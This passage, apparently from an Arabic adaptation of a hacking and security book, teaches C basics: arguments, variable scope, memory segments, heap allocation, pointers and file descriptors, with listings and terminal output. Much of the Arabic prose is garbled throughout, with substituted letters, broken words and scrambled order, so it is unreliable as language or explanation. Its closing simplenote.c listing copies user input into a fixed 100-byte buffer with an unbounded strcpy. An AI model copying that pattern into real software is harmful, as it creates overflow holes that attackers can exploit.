   int i; 

   printf("There were %d arguments provided:\n", arg_count); 

   for(i=0; i < arg_count; i++) 

      printf("argument #%d\t - \t%s\n", i, arg_list[i]); 

} 
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د عدد ال  ناّ ذذا الكو، ق!لدطالها مُسبقاً  الَمطلوب argumentsيبدو أننا لم نُحَدِّ د أي عدد من ال سيستقبل م 

Arguments ثُم  يقوم بطباعته ل نا على الشاشة باستخدام دالة نقوم بإدطاله  ،printf( )  حيثُ تعرض ترتيب ال

argument  الُمدطَلَة و الstring  .الُمناظ رَة لَها 

 النتائج: مايلي

reader@hacking:~/booksrc $ gcc -o commandline commandline.c 

reader@hacking:~/booksrc $ ./commandline 

There were 1 arguments provided: 

argument #0 - ./commandline 

 

reader@hacking:~/booksrc $ ./commandline this is a test 

There were 5 arguments provided: 

argument #0 - ./commandline 

argument #1 - this 

argument #2 - is 

argument #3 - a 

argument #4 - test 

reader@hacking:~/booksrc $ 

 

تَبَر أول  ثُم قُمنا بإدطال مَج موعة كلمات ك  كَما يَظهَر بالأعلى. Argumentلاحظ أن اسم البرنامج في حد ذاته يُع 

Arguments م طباعتها.تل ي 

 

 

Variable Scoping 
 

يُمك ن لل  .”Global“أو  ”Local“من حَيث طريقة تعريفها.. قهي لما  variablesسنتكلم الآن عن أنواع ال 

functions وذي المتغيرات التي يتم عمل  ،أن تمتلك المتغيرات الخاصة بِاdeclare  لها داطل الfunction ونُطل ق ،

 .”Local variables“عليها 
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 :variablesسنأطذ مثال لتوضيح ذذا النوع من ال 

#include <stdio.h> 

 

void func3() { 

  int i = 11; 

  printf("\t\t\t[in func3] i = %d\n", i); 

} 

 

void func2() { 

  int i = 7; 

  printf("\t\t[in func2] i = %d\n", i); 

  func3(); 

  printf("\t\t[back in func2] i = %d\n", i); 

} 

 

void func1() { 

  int i = 5; 

  printf("\t[in func1] i = %d\n", i); 

  func2(); 

  printf("\t[back in func1] i = %d\n", i); 

} 

 

int main() { 

  int i = 3; 

  printf("[in main] i = %d\n", i); 

  func1(); 

  printf("[back in main] i = %d\n", i); 

} 

 

ذُنا لابُد  أن تنتهي  ،func1لل  callبَعَمَل  ( )main، ثُم  تقوم ال 3ليقوم بطباعة الرقم  ( )mainسيبدأ البرنامج عند ال 

 func1الثالث!، ولكن بعد أن قامت ال  instructionاستكمال تنفيذ ال  ( )mainمن عملها كي يتسنى لل  func1ال 

 .أيضاً  iل تَقوم ب ط باعَة قيمة  ،func2 ال الى call، قامت ب عَمَل iبطباعة قيمة 
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ن  ثَم  يعود بِا، للى أن تنتهي من عملها كي تقوم باستكمال تنفيذ السطر الثالث  func2ستنتظر ال  func1لاحظ أن 
وم 

 ..في السطر الثاني func3لل  callبعمل  func2لكن قامت أيضاً . ( )mainللى ال  pointerال 

للى ال  pointerحيث يعود ال ، تسلسل بالترتيب كما صعد بالترتيبقعاد ال ..توقفت! iباعة قيمة بط func3بعد قيام 

func2 ثم ينتقل للى ال  ..لتقوم بتنفيذ السطر الثالثfunc1  َثم ينتقل مرةً أطرى الى  ..قوم بطباعة السطر الثالث لديهال ت

دو أنك قهمت والآن يب ،3مُجدّداً وذو  iطيرة حيثُ تَط بَع ق يمَة الا instructionل تقوم في النهاية بتنفيذ ال  ( )mainال 

 .كيف ستكون النتائج!

 

 على حده!. functionلكل  local variable لأطرى لأنه يتم تعريفها على ذيئة functionمن  iلاحظ اطتلاف قيمة 

 :على النتائجلق  نظرة لنُ 

reader@hacking:~/booksrc $ gcc scope.c 

reader@hacking:~/booksrc $ ./a.out 

[in main] i = 3 

            [in func1] i = 5 

                        [in func2] i = 7 

                                     [in func3] i = 11 

                        [back in func2] i = 7 

            [back in func1] i = 5 

[back in main] i = 3 

reader@hacking:~/booksrc $ 

 

 

 

 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [59] 

منا ال  من نوع  variableتُعتَبَر ال  ..”Global Variables“ننتقل للى ال ل ذيا بنا ..”Local Variables“لقد قَه 

“global” طارج جميع ال لذا تم تعريفها في بداية الكود ،functions. 

 ذذا المثال: تأمل

#include <stdio.h> 

 

int j = 42;     // j is a global variable. 
 

void func3() { 

  int i = 11, j = 999;        // Here, j is a local variable of func3( ). 
  printf("\t\t\t[in func3] i = %d, j = %d\n", i, j); 

} 

 

void func2() { 

int i = 7; 

printf("\t\t[in func2] i = %d, j = %d\n", i, j); 

printf("\t\t[in func2] setting j = 1337\n"); 

j = 1337;    // Writing to j (this is not local variable!) 
func3(); 

printf("\t\t[back in func2] i = %d, j = %d\n", i, j); 

}  

 

void func1() { 

  int i = 5; 

  printf("\t[in func1] i = %d, j = %d\n", i, j); 

  func2(); 

  printf("\t[back in func1] i = %d, j = %d\n", i, j); 

} 

 

int main() { 

   

  int i = 3; 

  printf("[in main] i = %d, j = %d\n", i, j); 

  func1(); 

  printf("[back in main] i = %d, j = %d\n", i, j); 

} 
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  :( )mainنبدأ بال 

، أي أن لها global variable تم تعريفها قوق.. قبل أي شيء قهي jلأن  (j=42)و  (i=3)بطباعة  printfتقوم دالة ال 

ع في ال  حيث يتم  ”local variables“بعكس ال  أن تصل لليه!. functionsبحيث يُمكن لجميع ال  memoryموض 

 بِا ققط.  ةالخاص functionتخزينها مع محتويات ال 

 الُمهم..

 .global، لانها (j = 42)..يتم طباعته وطباعة  (local var i)حيث تم تعريف  func2ننتقل للى ال 

كُرذا في (j = 1337)وذلك عندما كتبنا  (،global var j)سنقوم بتعديل قيمة ال  .ثُم  يحدُث شيء عجيب!   بدون أن نَذ 

 1337ققد أصبحت  ”j“والآن حدث تعديل في قيمة  .local vars..قهذه صيغة ال  j” “int بصيغة func2بداية ال 

 .42بدلاً من 

 

ذُنا داطلياً وأعطيناذا قيمة  jققد استخدمنا ، local varsعلى أنهم  (j و  i)حيث تم تعريف كلًا من  func3ننتقل الى ال 

أثناء تعامُله مع  globalعن تلك ال  localالتي تم تعريفها ك  jباستخدام ال  compiler، وبالتالي سيقوم ال 999ذي 

func3( )..  ثُم  أثناء العَودَة للى الfunc2( )   م التَعامُل مع ال سَيَت“j”  الglobal  قبل  1337التي قُمنا ب تغَيير قيمَتها للى

من عَمَل ها ل يعَود ال  ( )func2ثُم تنتهي ال   ..مُجدداً  jو  iمُباشرةً، قَنطَبَع قيمة  ( )func3لل  callعَمَل ال 

“instruction pointer”  للى الCaller function  وذيfunc1( ) .. ،ًآطر سطر قيها، يتم تنفيذه ثم العودة للى وتحديدا

 .( )func1الأساسي لل  callerمرةً أطرى، لأنها ذي ال  ( )mainال 
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 النتائج:

reader@hacking:~/booksrc $ gcc scope2.c 

reader@hacking:~/booksrc $ ./a.out 

[in main] i = 3, j = 42 

           [in func1] i = 5, j = 42 

                       [in func2] i = 7, j = 42 

                       [in func2] setting j = 1337 

                                    [in func3] i = 11, j = 999 

                       [back in func2] i = 7, j = 1337 

           [back in func1] i = 5, j = 1337 

[back in main] i = 3, j = 1337 

reader@hacking:~/booksrc $ 
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Memory Segmentation 

 

 .قاصل آطر!.للى  ذيا لنخرُج

، x86 architecture كُنا قد تكلمنا من قبل عن ال .memory segmentationبال  ةسَنَتَكلّم عن بعض الأمور المُتعََلق

قاً في الباب الثال architectureسنتكلم عن ذذا ال   .ث أيضاً مُجدَّداً ل تَوضيح بَعض الأمور، وسنتكلم عَنهُ لاح 

 

 
 

ن ثلاثة مُكوناتكَما تَرى   :hardware قَهو يَتكوّن م 

 The central processing unit (CPU) executes code. 

 The main memory of the system (RAM) stores all data and code. 

 An input/output system (I/O) interfaces with devices such as hard drives, Keyboards, and 

monitors. 
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يَ ما نُريد Main Memoryتق ل للى ال ل نَن  الآن.ه قَه 

م ال   الى أربعة أقسام أساسية وذي: RAMتُقس 

Data, Code, Heap, and Stack 

 

ل ها، Sectionsوبعض ال  Main Memoryمايلي شكل يوضح ال   سنقوم لنشاءالله بشرح وظيفة كل منهم. ب داط 
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Data 

ند Valuesذذا ذو مَُزَن ال  ه ال  loadما يَت م عَمَل ع  لا  بمعنى أنها Static valuesلما أن تكون  valuesللبرنامج. ذَذ 

 داطل functionوذو أنها قيم متاحة لأي  Global valuesأو النوع الآطر وذو ال  .تتغير أثناء عَمَل البرنامج

 البرنامج. 

ن ذذه  ”Data“لكن ذناك ملاحظة صغيرة.. نعني بال  ن الُمتغيرات قد تم عمل أن  أيٍّ م  لها بقيمة  initializedالأنواع م 

قلن يتم وضعها ذنا!، ستذذب للى  ةأما لذا لم نُعرقها بقيمة مُحدد ".Section Data"، سنقوم بوضعها في الةمحدد

section  آطر يسمى“Bss Section”.  

 

 :uninitialized وال initialized الفرق بين ال

int global_var; 

 

int global_initialized_var = 5; 

 

 الحالة الثانيةأما في  .Uninitialized variableلأنه يُعتَبَر  "Bss"سيتم تخزين ذذا المتغير في قسم ال  الحالة الأولىفي 

 ".Data"وبالتالي سيتم تخزينه في قسم ال  "،initialized var"أصبح ق (،5)قنحن قُمنا بإعطائه قيمة ذي 

 

Code or Text Section 

 .instructions قهو يحتوي على ال Compiled Codeذذا ذو المكان الذي يذذب لليه ال 
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Heap 

لنها تقوم  .program executionأثناء ال  Dynamic memoryعن ال  ةمسؤول يجداً، قه ةمهم Segmentال  هذذ

أي تفريغ  freeالوقت تقوم أيضاً بعمل  الجديدة التي تظهر أثناء عمل البرنامج، وفي نفس valuesلل  allocateبعمل 

تزيد  لأنها "Dynamic memory"من القيم التي لم يعد البرنامج بحاجة لليها!، لهذا يطلق عليها بال  memoryلل 

  .وتنقص بناءً على المتطلبات

يَ تعتمد على ذذا المَبدأ لأنها تستهل ك الذاكرة وقق نوع النالاً على ذلك الُمتصفحاتمث شاط الذي تمارسهُ أنت على ، قَه 

ى   .يُمك نكُ القراءة عنه ”Heap Overflow“الانترنت.. يوجد نوع من الثغرات يُسم 

 

Stack 

الخاصة بال  parametersوال  Local Variablesكُنا قد تكلمنا عنها مسبقاً.. وكما أشرنا أنها تتعامل مع ال 

Functions ستلاحظ وجود علاقة بين ال .Heap  و الStack  ،نهُما في طرف حيث يتموضعان في نفس المساحة كل م 

 ، والعكس صحيح!، وذذا لتحسينheapعلى حساب ال  stackيَزيدان  ويَنقُصان  وققاً للحاجة!، قربما تزداد ال 

 ولتلافي الهدر في المساحات قدر المستطاع.  memoryاستغلال ال 

 

 في الشكل التالي: Stackوال  Heapل لاحظ ا

ر أنه مُُصَص ل تَخزين ال  Layoutالذي لم يظهر في ال  "Bss Section"ال  بهيظهر   أيضاً  الماضي.. تَذَك 

"Uninitialized variables". 
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ن جَديد لاستكمال الأساسيات البرمجية.. لا تقلق ققد شارقنا على الانتهاء من ذذا   .الباب!ذيا ل نعَود م 

 

 

The Heap 

 

عُهُ، لما في ال  declareن  طَريقَة ال من قبل، أ ذكرناكما  م وَض 
أو في ال  Bss Segmentللمُتغير ذي التي ستُحَدّد أين سَيَت 

Data Segment.  بينما لذا أردنا حجز مساحة داطل الHeap  قنستخدمfunction  عَى حَي ثُ تستقبل ، ( )mallocتُد 
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نك ذذه الدالة  من حجز  ( )mallocالتي تَوَد حَجزذا، ولذا لم تتمَكّن ال  المساحة ،Size وحيده وذي ال argumentم 

ع لك   ".Null Pointer with value 0"تلك المساحة قإنها تُرج 

نَ البَديهي وجود  ساحة ال  Functionأيضاً م  قاً..  Heapمُناظ رة لَها ل كَي تَقوم ب تَفريغ م  ن استخدامها لاح  كي تُمكَ نكَُ م 

 .( )Freeيُطلَق عليها 

 

 ما يلي شكل الدالة:

int array[10]; 

int * array = malloc(10 * sizeof(int)); 

 

ساب المساحة الَمطلوب ( )sizeofذُنا ستقوم ال  ..س الداطلي أولاً، ثُم  الخارجييَت م تنفيذ القَو، Cفي لُغَة ال  حيثُ  ةب ح 

 ."intمساحة لاستيعاب عشرة أرقام من نوع " بمعنى: ،10مضروبة في  One Integerل  ةتقوم بالتالي: الم ساحة المطَلوب

 

ع لَنا  Heapبحجز المساحة داطل ال  ( )mallocثم تقوم ال  داطل ال  blockيُشير للى عنوان ذذا ال  pointerوتُرج 

Heap ذذا ال ،!pointer في مثالنا بالأعلى سيكون :*array. 

الُمراد  Data typeدون الاذتمام بال  Heapمساحةٍ ما في ال  قهي تقوم بحجز ( )mallocذناك ملاحظة متعلقة بال 

 ..  Voidلكن من نوع  pointerحَجز المساحة لهُ!، قتقوم بإرجاع لنا 

 

 ؟  void pointerلحظة!..ما ذذا ال 

 للى ذُنا من جديد. عُدثُم .. "void pointer"التي بعنوان  ةفقره التالييمكنك الذذاب للحسناً..
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تَ ال والآن وبعد  م   ما  .( )malloc، ذيا ل نقوم ب حَل ذذا الإشكال الخاص بال void pointerأَن  قَه 
ٍ
سنقوم بإضاقة شيء

ذا ال  Casting.. ببساطة سنقوم ب عَمَل heapفي ال  ةالَمحجوز data typeللتأكيد على نوع ال  للى ال  void pointerله 

data type .!ز المساحة لها  التي نَوَد حَج 

 

 ؟..  Castنسيت ال  ذل

 .Typecastingققرة ال يُمك نكُ مُراجعته لن احتجت، بالعوده للى 

 

 .Cast، والثانية بال Castذذا مثال يوضح لك الحالتين.. الأولى بدون 

int * ptr; 

ptr = malloc(10 * sizeof(int));  /* without a cast */ 

ptr = (int *)malloc(10 * sizeof(int)); /* with a cast */ 

 

المطلوب أو لأي سبب آطر،  bufferفي حجز المساحة رُبما ل ك بَر حجم ال  ( )mallocفي بعض الأحيان تفشل ال 

 .allocationليتأكد لنا من عملية ال  Error checkingوبالتالي يُمكننا لضاقة كود بسيط يقوم بعمل 

int * array = malloc(10 * sizeof(int)); 

if (NULL == array) { 

  fprintf(stderr, "malloc failed\n"); 

  return(-1); 

} 

 

ثال رائع! Functionsلنرى معاً كيف تعمل ذذه ال  مالل نضَمَن  وليةلكن نَحنُ ب حاجَة لبَع ض الَمفاذيم الأ، وب م  الجيد  فَه 

ذا الم ثال. ر أَننا قَد تَكلمنا عن ال  له   . لا بأس!..؟.ةسِيع ةمراجع بإجراءك وأَنواعها، مارأي pointersتَذَك 

 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [69] 

ذا الشكل:  انتبه له 

 
 .(i = 65524&)بينما  ، (i = 3)فهَمهُ جَيداً.. أليسَ كذلك؟.. قمثلًا: نَ  ناأظُن أن

 :i مثال على ذذا المتغير لنأطذ

int main() 

{ 

  int *ptr, i; 

  i = 3;   

 

  /* address of i is assigned to ptr */ 

  ptr = &i;    

 

  /* show i's value using ptr variable */       

  printf("Value of i : %d", *ptr);  

 

  return 0; 

} 

 

ثم أردنا طباعة  ."address-of i"يُشير للى ال  pointer، ثُم  جعلنا ذذا ال ptrاسمهُ  pointer، و iقُمنا ب تَعريف مُتغيّر 

 pointerقبل ال  )*((، ذُنا سنضع 3وذو الرقم )، pointerالذي يُشير لليه ال  "block of memory"محتويات ذذا ال 

ل ال   ”Dereferencing of Pointer“ وتُسمى ذذه العملية، ( )printfعندما نستدعيه داط 

  value of i : 3 وتكون المخرجات في النهاية كاتالي:
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 نستطيع تلخيص الأمر في الآتي:

 
 (&) symbol is used to get address of variable 

 (*) symbol is used to get value from the address given by pointer. 

 (*) Symbol when used with Pointer variable it refers to variable being pointed to, this is 

called as “Dereferencing of Pointers”. 

 

 

 :أطير شكل توضيحيما يلي 

وذذا الجدول يوضح نقاط التشابه بين ال ل يُشير للى ذذا الُمتغير،  ptr)لسمهُ  (pointerو  num)مُتغير لسمهُ (قنا ذُنا عر  

ptr  و ال&num  و على الوجه الآطر قيمة المتغيرnum  وال“Dereferencing of Pointer ptr”  الُمتَمَثِّل في الرمز*ptr 

 حيث كلاذم يحمل نفس المعنى!.

 

Variable Value in it 

num 50 

&num 1002 

ptr 1002 

*ptr 50 
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Void Pointer 

 

 ..void pointer الجاء دور 

ثُم أردنا  ،(integer, float, and character)لثلاثة أنواع من المتغيرات مثلًا:  declareلنفرض أننا قمنا بعمل 

  ..pointersنوعه، سنقوم حينها بتعريف ثلاثة أنواع من ال يُشير للى لليه بناءً على  pointerتخصيص لكل مُتغير منهم 

ر عَلينا الجهد لأنسَيُ  "void pointer"ذذا ال  .وحيد pointerولكن يمُك نُنا توقير الجهد والإكتفاء ب   نا سنتمكن منوقِّ

 .ةحسب الحاج character pointerأو   integer pointerك مُعامَلته

 

 ذذا مثال للتوضيح:

 

void *ptr;    // ptr is declared as Void pointer 

 

char charnum; 

int intnum; 

float floatnum; 

 

ptr = &charnum;  // ptr has address of character data 

ptr = &intnum;  // ptr has address of integer data 

ptr = &floatnum;  // ptr has address of float data 

 

 

 

 ذُنا بِذه النقاط: ”void ptr“يص ما سيقوم به ال نستطيع تلخ
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Scenario Behavior 

When We assign address of integer variable to void 

pointer 
Void Pointer Becomes Integer Pointer 

When We assign address of character variable to void 

pointer 

Void Pointer Becomes Character 

Pointer 

When We assign address of floating variable to void 

pointer 

Void Pointer Becomes Floating 

Pointer 

 

الى ال  (data type character)تُستخدَم للتحويل من ال  ( )atoiتسمى  Functionوأطيراً أود أن أتكلم عن 

(integer data type) ..بوضع مجموعة أرقام  قيما يلي مثال يوضح كيف قمنا(integers)  في متغير من نوع مُتلف

character)) :وعرضها على الشاشة 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int main() 

{ 

   int val; 

   char str[20]; 

    

   strcpy(str, "98993489"); 

   val = atoi(str); 

   printf("String value = %s, Int value = %d\n", str, val); 

 

   return(0); 

} 
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 تكون النتائ ج كالتالي:

String value = 98993489, Int value = 98993489 

 

ثال ال  .Heap Segment حسناً.. انتهينا من الُمقدمة التي تسبق م 

 
Heap Example: 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int main(int argc, char *argv[]) { 

   char *char_ptr;  // A char pointer 

   int *int_ptr;    // An integer pointer 
   int mem_size; 

  

   if (argc < 2)    // If there aren't command-line arguments, 

      mem_size = 50;   // use 50 as the default value. 
   else 

      mem_size = atoi(argv[1]); 

 

  printf("\t[+] allocating %d bytes of memory on the heap for  

         char_ptr\n", mem_size); 

  char_ptr = (char *) malloc(mem_size); // Allocating heap memory 
 

  if(char_ptr == NULL) {   // Error checking, in case malloc( ) fails 
       fprintf(stderr, "Error: could not allocate heap memory.\n"); 

       exit(-1); 

   } 

   

  strcpy(char_ptr, "This is memory is located on the heap."); 

  printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); 

   

  printf("\t[+] allocating 12 bytes of memory on the heap for  
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         int_ptr\n"); 

  int_ptr = (int *) malloc(12);      // Allocated heap memory again 
   

  if(int_ptr == NULL) {    // Error checking, in case malloc( ) fails 
      fprintf(stderr, "Error: could not allocate heap memory.\n"); 

      exit(-1); 

   } 

   

  *int_ptr = 31337;    // Put the value of 31337 where int_ptr is pointing. 
   printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr); 

   

  printf("\t[-] freeing char_ptr's heap memory...\n"); 

  free(char_ptr);   // Freeing heap memory 

   
  printf("\t[+] allocating another 15 bytes for char_ptr\n"); 

  char_ptr = (char *) malloc(15);  // Allocating more heap memory 
   

  if(char_ptr == NULL) {   // Error checking, in case malloc( ) fails 
     fprintf(stderr, "Error: could not allocate heap memory.\n"); 

     exit(-1); 

   } 

 

  strcpy(char_ptr, "new memory"); 

  printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); 

 

  printf("\t[-] freeing int_ptr's heap memory...\n"); 

  free(int_ptr);  // Freeing heap memory 
  printf("\t[-] freeing char_ptr's heap memory...\n"); 

  free(char_ptr);  // Freeing the other block of heap memory 
 

} 

 

ر أن  ال  ..cmd-line argumentsفي البداية قُمنا باستخدام ال  ذي أول  arg[1]ثُم  ذو اسم البرنامج نفسه،  arg[0]تَذَك 

string .نقوم ب ك تابتها نَحن.. بعد لسم البرنامج 
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عها في المتغير ثم وض ( )atoiباستخدام  integerليقوم بتحويلها للى  arg[1]أنهُ سيستقب ل ال  if يُخبرنا في دالة

mem_size ، لاحظ أنه لذا لم يرى الcompiler  أيarguments  غير الأولى ققط قسيقوم بتحديد مساحة لقتراضية لل

mem_size  50ب Bytes، .ثم تقوم  كي نضمن عمل البرنامج بأي حالprintf( )  بطباعة ما تحويهmem_size في ،

ل  50حالت نا ذذه ستكون  ط   Heapبحجز المساحة المطلوبة في ال  ( )mallocثم تقوم ال  .Argusأي حيث أننا لم نُد 

بحََ يُشير للى  char_ptrلاحظ الآن أن له كما شرحنا سابقاً.  Castمع عمل ال  pointerولرجاع ال   مايلي:أص 

"address of memory allocated in Heap." 

 

كما ترى في ذذا  الذي تَم  حَجزه لنا block of memoryال  سَنَقوم ب وَضع جُملةٍ ما في ذذا ( )strcpyوباستخدام 

 السطر:

strcpy(char_ptr, "This is memory is located on the heap."); 

 

 والجملة التي بداطله: operator (%p،)باستخدام ال  blockثم نقوم بطباعة عنوان ذذا ال 

printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); 

 

 "Bytes 12"مرةً أطرى ولكن حَددنا الم ساحة التي نُريدُذا بشكل مُباشر  allocationمنا بعمل ثم قُ 

int_ptr = (int *) malloc(12); 

 

لها العدد  intذنا الى  Castلاحظ ال    .".31337"لأننا سنضع بداط 

 ؟ Instruction .. قُل لي ما معنى ذذه الpointers بمُناسبة ال

*int_ptr = 31337; 
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 كما ذو موضح: heapلل  freeثم نقوم بعمل 

  printf("\t[-] freeing int_ptr's heap memory...\n"); 

  free(int_ptr);  // Freeing heap memory 
  printf("\t[-] freeing char_ptr's heap memory...\n"); 

  free(char_ptr);  // Freeing the other block of heap memory 

 

 مايلي نتائج الكود:

reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c 

reader@hacking:~/booksrc $ ./heap_example 

[+] allocating 50 bytes of memory on the heap for char_ptr 

char_ptr (0x804a008)  -->  'This is memory is located on the heap.' 

[+] allocating 12 bytes of memory on the heap for int_ptr 

int_ptr (0x804a040)  -->  31337 

[-] freeing char_ptr's heap memory... 

[+] allocating another 15 bytes for char_ptr 

char_ptr (0x804a050)  -->  'new memory' 

[-] freeing int_ptr's heap memory... 

[-] freeing char_ptr's heap memory... 

reader@hacking:~/booksrc $ 

 

 .Heapللى ذنا نكون قد انتهينا من ال 

مهُ كثيراً في الفصول القادمة..سَننتقل للى موضوع مُهم!،   .”Flie Descriptors“ سنتكلم عن ال سَنستخد 
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File Access 

 

عندما يتم  Operating System ، مالذي يَحدُث في الNotepadعندما ترغب بفتح ملفٍ ما على جهازك، مثلًا ملف 

 .لف أمامك؟قَتح المَ 

ن قيه البيانات الُمتَعلِّقة بِذا الملَف  Entryيقوم نظام التشغيل لديك بإنشاء  لهذه العملية )عملية قتح ذذا الملف(، يُخَزِّ

، قإذا أردت قتح عدد من الملفات في لهذا الملف unique، ذذا الرقم 100برقم.. مثلًا  Entryويقوم بالتعبير عن ذذا ال 

في مكانٍ ما  Entriesتتخزن ذذه ال  "،Entries 10"عشرة ملفات، سيقوم نظام التشغيل بتكوين نفس الوقت مثلًا 

 .(109…,103 ,102 ,101 ,100) ، ويُعَبر  عَنهُم ب أرقامKernelداطل ال 

 ".File Descriptors"ذذه الأرقام يُطلَق عَليها 

 

 .؟ File Descriptor قما ذو ال

“It is an integer number that uniquely represents an opened file in operating system” 

 

 .وما ذي قائدته؟

مها ن ظام التشغيل ل عَمَل  يبدو  لَديه. ةللملفات المفتوح Trackingأنها طريقة يَستَخد 

م ذذه ال   ها: نذكر أهمللتعامل مع الملفات، ( Low-Level Functions)مجموعة من ال  file descriptorsتَستَخد 

open(), close(), read(), and write() 

وبعض ال  file descriptorسَنعُطي مثال يشرح ال  .Errorفي حالة حدوث أي  (1-)تقوم بإرجاع  functionsذذه ال 

low-level functions. 
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نك على ذَيئة  ةأو جُملة قَصير noteبرنامج يقوم باستقبال  قيما يلي يَقوم ب فَتح مَلف  ثُم   command-line argumentم 

اية ذذا الَملف )بمعنى أنه لن يقوم ب عَمَل  ه الجمُلة في نه  دَت(..ذذا  overwriteولضاقة ذَذ  للبيانات التي بداطله، لن وُج 

  tmp/notes/ الملف مسارهُ كما يلي:

م  له ما ستُعطيه لَنا ل نكَتُب ( )writeل نَفتَح ذل ك الَملف، و  ( )openقبل أن نبدأ.. لابُد  وأن تتوقع أننا سَنستَخد  ، و داط 

close( ) .للا أن  ل نقَوم بإغلاقه بَعد الإنتهاءopen( )  َب بعَض التفاصيل المُتَعَلِّقة بال ةذذه تأتي دائمًا مَصحوب 

Access Mode .. 

 ."Flags" أم الإثنان معاً؟ ..ذذه التفاصيل تُسمى ؟،Write onlyأم ؟، Read onlyذل سيكون 

نها: يليما  بَعضاً م 

O_RDONLY Open file for read-only access. 

O_WRONLY Open file for write-only access. 

O_RDWR Open file for both read and write access. 

 

O_APPEND Write data at the end of the file. 

O_TRUNC If the file already exists, truncate the file to 0 length. 

O_CREAT Create the file if it doesn’t exist. 

 

ذَه ال  includeسنحتاج ل عَمَل  flagsمن استخدام ذذه ال  ( )openلكي تتمكن ال    Lib fcntl.hله 

#include <fcntl.h> 

ظ أيضاّ عَمَل    ( )openأطرى يُمك ن لل flagsيوجد ، "sys/stat.h"جديدة تُسمى  libraryل  includeسَتُلاح 

 .."file permissions"استخدامها، تتعلق بال 

 بعد قليل.سنأتي لهم 

 

 :نأتي للى كود البرنامج
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#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <fcntl.h> 

#include <sys/stat.h> 

 

void usage(char *prog_name, char *filename) { 

  printf("Usage: %s <data to add to %s>\n", prog_name, filename); 

  exit(0); 

} 

 

void fatal(char *);  // A function for fatal errors 

void *ec_malloc(unsigned int);  // An error-checked malloc() wrapper 
 

int main(int argc, char *argv[]) { 

    int fd; // file descriptor 
    char *buffer, *datafile; 

  

    buffer = (char *) ec_malloc(100); 

    datafile = (char *) ec_malloc(20); 

    strcpy(datafile, "/tmp/notes"); 

 

    if(argc < 2)      // If there aren't command-line arguments, 

       usage(argv[0], datafile);  // display usage message and exit. 
 

    strcpy(buffer, argv[1]);  // Copy into buffer. 
 

    printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer); 

    printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile); 

    strncat(buffer, "\n", 1);  // Add a newline on the end. 

 

// Opening file 
    fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR |   

              S_IWUSR); 

     

    if(fd == -1) 

        fatal("in main() while opening file"); 
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    printf("[DEBUG] file descriptor is %d\n", fd); 

 

// Writing data 
    if(write(fd, buffer, strlen(buffer)) == -1) 

        fatal("in main() while writing buffer to file"); 

 

// Closing file 
    if(close(fd) == -1) 

        fatal("in main() while closing file"); 

 

    printf("Note has been saved.\n"); 

    free(buffer); 

    free(datafile); 

} 

 

 

// A function to display an error message and then exit 
void fatal(char *message) { 

    char error_message[100]; 

 

    strcpy(error_message, "[!!] Fatal Error "); 

    strncat(error_message, message, 83); 

    perror(error_message); 

    exit(-1); 

} 

 

 

// An error-checked malloc( ) wrapper function 
    void *ec_malloc(unsigned int size) { 

         void *ptr; 

         ptr = malloc(size); 

         if(ptr == NULL) 

              fatal("in ec_malloc() on memory allocation"); 

         return ptr; 

} 
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يَ اسم البرنامج  arg[0]وكَما تَعلَم  ،command-line argumentsحيثُ يَستَقب ل البرنامج  ( )main النبدأ من  ذ 

لهُ نَحن!. arguments، ثُم  بَقية ال simplenote.cنفسه،  ط  يَ ما سَندُ   ذ 

 

نا ب تَعريف مُتغير  ل قيمة ال intقُم  نا ب تَحديد  file descriptor، سَيحَم  و  bufferهُما " pointers on strings"وقُم 

datafileثُم  قامت ال ، ec_malloc( )  قدارذا ساحة م  ن  castingمع عمل ال  bufferلل  bytes 100ب حَجز لَنا م  م 

 .بداطله stringأجل تخزين ال 

! سنضعها بداطله ةثابت ةجُمل datafileلكن سَنضع داطل ذذا ال  ،datafile لل bytes 20 ثُم  أيضاً قامت ب حَجز لَنا

 ”tmp/notes/“ ستكون: ةذذه الجمُل ..( )strcpyباستخدام 

 tmp/notes/ ذذب بنا للى السَي datafileقمتى ما استدعينا ذذا ال 

 

 كما يلي: ifتم وضع شرط باستخدام دالة  argumentsوللتأكد من عملية لدطال ال 

If (argc < 2) 

  usage(argv[0], datafile); 

  :يعني usage(argv[0], datafile) ذذا السطر

 :parametersآطذاً معك ذذه ال  ( )usageم بالذذاب للى ال قُ 

Argv[0]which is: simplenote.c, and datafile which is: /tmp/notes 

 

 :void usage ةالمسما functionدطلات لل مُ  كونست parametersذذه ال 

void usage(char *prog_name, char *filename) { 

  printf("Usage: %s <data to add to %s>\n", prog_name, filename); 

  exit(0); 

} 
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 .( )mainللى ال  return valueلن يكون ذناك أنهُ عني بم void أنهالاحظ 

 للى ذنا ينتهي الشرط ومتعلقاته!.

 

 ، ”this is test note“ وذي، arg[1] في حالة لدطالنا الو

 ..باعتها وطباعة العنوان الخاص بِاب ط   ( )printfوبعدذا تقوم ، buffer ها للى السنقوم ب نسَخ  

"Address of buffer, and buffer" 

 

نها  اتهايو محتو "،address of datafile string" مايلي:  أُطرى سَتَطبَع ( )printf أسفل م 

ر أنها   .”tmp/notes/“وذي مسار الملف  ةثابت stringتَذَك 

 

 م  يأتي ذذا الشيء:ثُ 

strncat ( buffer, "\n", 1 ); 

 ونعني به: 

 (1)بمعنى لبدأ سطر جديد بعد أن تنتهي ذذه الجمُلة، والرقم  ”this is test note“وذي  ..stringال للى  n\ قُم بإضاقة

يَ المساح byte 1ذذه تَم  تَخصيص  ”n\“ذُنا يعني أن   .memory داطل ال  التي يَشغَلها ذذا الرمز ةلها، وذ 

 

 :low-level-functions والآن نأتي لموضوع الحلقة وذو

يسبقهم مسار الملف المراد ، flagsوكما ترى أنها استخدمت مجموعتين من ال  بعملية قتح الملف، ( )open ستقوم ال

 قتحه. 



